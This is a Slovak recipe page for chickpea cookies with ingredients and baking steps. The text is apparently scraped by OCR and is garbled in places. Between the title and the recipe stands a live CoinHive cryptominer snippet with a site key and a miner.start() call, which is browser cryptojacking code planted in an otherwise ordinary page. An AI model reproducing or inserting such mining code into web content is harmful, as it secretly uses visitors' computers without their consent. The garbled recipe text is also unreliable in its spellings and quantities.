Cicerové susienky

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfihNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

Potrebujeme (na 14ks): 1,5 hrnéeka cicerovej miky, stipka morskej soli, 1 CL prasku do pediva,
5-6 PL kokosového oleja (odmerajte po roztopeni), 5-6 PL agave/medu/javorového sirupu,
Stipka stévie v pragku (volitelné — mozete tiez znizif mnozstvo tekutého sladidla), 1 CL
vanilkového extraktu, 2-4 CL vody (v pripade potreby), hrozienka/brusnice/tmavéa &okolada

Postup: V miske spolu zmieSajte najprv suché ingrediencie a potom k nim primieSajte vsetky
ostatné. Cesto ma byt velmi husté, avSak ak sa vdm nedari ho premiesat poriadne, pomozte si
pridanim niekolkych lyziCiek vody. Hotové cesto formujeme do tvaru cookies a ukladajte na
plech vystlaty papierom na pecenie. Cookies zvrchu stlaCime prstami, aby boli tenSie. PeCieme
ich cca 15 mindt na 175°C do zlatista. Po vybrati ich ihned zvrchu potlacime vidliCkou — tym
nadobudnu neodolatefné chrumkavé okraje a jemné vnutro.




